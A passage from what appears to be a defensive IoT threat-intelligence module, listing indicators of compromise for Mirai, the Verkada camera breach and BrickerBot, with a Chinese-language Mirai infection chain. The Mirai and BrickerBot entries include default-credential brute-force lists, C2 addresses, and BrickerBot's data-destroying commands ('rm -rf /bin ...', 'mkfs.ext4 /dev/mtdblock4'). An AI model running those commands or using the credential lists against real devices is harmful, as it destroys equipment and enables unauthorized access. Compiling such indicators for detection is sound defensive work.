    return parsed_devices

互联网扫描 → Telnet 端口发现 → 默认凭据字典爆破 → 登录成功
    → 下载 Mirai Bot 二进制 → 执行感染 → 连接 C2 Server
    → 开始扫描新目标 → 接收 DDoS 攻击指令 → 发起攻击

MIRAI_IOC = {
    "c2_ports": [23, 2323, 5555, 37215],
    "scanner_ports": [23, 2323, 5555, 37215, 52869],
    "process_names": ["-sh", "-bash", "busybox", "mirai.*"],
    "file_paths": [
        "/tmp/", "/var/run/", "/dev/shm/",
        "/etc/init.d/S97", "/var/tmp/"
    ],
    "known_c2_ips": [
        "185.107.94.111", "185.215.113.39",
        "194.26.29.103", "91.215.85.142"
    ],
    "http_uris": ["/cdn-cgi/"],
    "attack_types": [
        "ACK flood", "SYN flood", "UDP flood",
        "GRE flood", "DNS amplification",
        "CHARGEN amplification", "SSDP amplification"
    ],
    "credentials": {
        "root": ["root", "admin", "password", "123456"],
        "admin": ["admin", "password", "1234", "root"],
        "support": ["support", "password"],
        "user": ["user", "password", "admin"]
    }
}

VERKADA_IOC = {
    "attack_ip": "34.106.230.180",
    "login_timestamp": "2021-03-09T15:00:00Z",
    "affected_cameras": 150000,
    "leaked_credentials": True,
    "post_compromise_actions": [
        "video_streaming_access",
        "historical_footage_download",
        "wifi_credential_extraction",
        "facial_recognition_search",
        "audit_log_deletion"
    ],
    "detection_indicators": [
        "unusual_login_location",
        "bulk_video_download",
        "api_rate_limit_exceeded",
        "audit_log_gaps"
    ]
}

BRICKERBOT_IOC = {
    "attack_type": "Permanent Denial of Service (PDoS)",
    "telnet_credentials": [
        "admin:admin", "root:root", "admin:1234",
        "root:vizxv", "admin:admin1234"
    ],
    "damage_commands": [
        "rm -rf /bin /sbin /usr/bin /usr/sbin",
        "mkfs.ext4 /dev/mtdblock4",
        "echo 1 > /proc/sys/net/ipv4/tcp_syncookies"
    ],
    "target_protocols": ["Telnet (23)", "SSH (22)"],
    "motivation": "Hacktivism - protest against insecure IoT devices"
}